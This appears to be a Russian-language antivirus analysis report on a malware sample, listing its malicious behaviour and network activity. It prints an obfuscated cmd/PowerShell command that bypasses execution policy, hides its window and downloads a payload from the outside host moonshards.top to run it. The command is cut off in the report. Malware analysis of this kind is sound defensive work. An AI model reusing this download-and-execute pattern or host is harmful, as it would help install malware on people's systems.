Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://moonshards.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POwERshelL.e^x^e -^EXe^Cu^tiO^NPOlICy BY^P^a^SS^ -NopROFILE -^WINDoW^STYL^E hI^Dde^n ^(nEw-OBj^E^c^T^ ^SYS^tem^.^net^.W^EBcLie^n^t)^.^downloA^D^fIl^e^('http://moonshards.top/...
Сетевая активность
UDP
- DNS ASK mo###hards.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POwERshelL.e^x^e -^EXe^Cu^tiO^NPOlICy BY^P^a^SS^ -NopROFILE -^WINDoW^STYL^E hI^Dde^n ^(nEw-OBj^E^c^T^ ^SYS^tem^.^net^.W^EBcLie^n^t)^.^downloA^D^fIl^e^('http://moonshards.top/...' (со скрытым окном)
